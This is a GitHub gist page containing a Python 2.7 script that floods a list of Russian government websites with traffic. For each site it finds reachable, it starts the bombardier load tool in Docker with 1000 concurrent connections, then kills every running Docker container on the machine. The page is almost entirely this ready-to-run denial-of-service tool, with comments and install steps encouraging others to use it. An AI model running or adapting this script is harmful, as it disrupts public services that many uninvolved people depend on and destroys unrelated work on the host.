Created
February 25, 2022 20:33
-
-
Save Toyto/0cb9e29ba6d72ee0b9eb276b49dff52a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
# IT'S PYTHON2.7 | |
# Check which pip version do you have: pip --version | |
# Then you need to install | |
# pip install requests | |
# -*- coding: utf-8 -*- | |
import time | |
import sys | |
import requests | |
import itertools | |
import subprocess | |
SITES = [ | |
'https://www.scrf.gov.ru/', | |
'http://kremlin.ru/', | |
'http://ach.gov.ru/', | |
'https://epp.genproc.gov.ru/', | |
'https://www.gosuslugi.ru/', | |
'https://mil.ru/', | |
] | |
RUN_TIME = 30 # in seconds | |
def sleep_countdown(sec): | |
for i in xrange(sec, 0, -1): | |
sys.stdout.write(str(i) + ' ') | |
sys.stdout.flush() | |
time.sleep(1) | |
def run(): | |
for site in itertools.cycle(SITES): | |
try: | |
response = requests.get(site, timeout=5) | |
except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): | |
response = None | |
print 'Haha, {} is down'.format(site) | |
if response and response.status_code in range(200, 310): | |
subprocess.Popen('docker run --rm alpine/bombardier -c 1000 -d {time}s -l {site}'.format(time=RUN_TIME, site=site), shell=True, stdout=subprocess.PIPE) | |
print 'Running for {}sec...'.format(RUN_TIME) | |
sleep_countdown(sec=RUN_TIME) | |
subprocess.Popen('docker kill $(docker ps -q)', shell=True, stdout=subprocess.PIPE) | |
if __name__ == "__main__": | |
run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment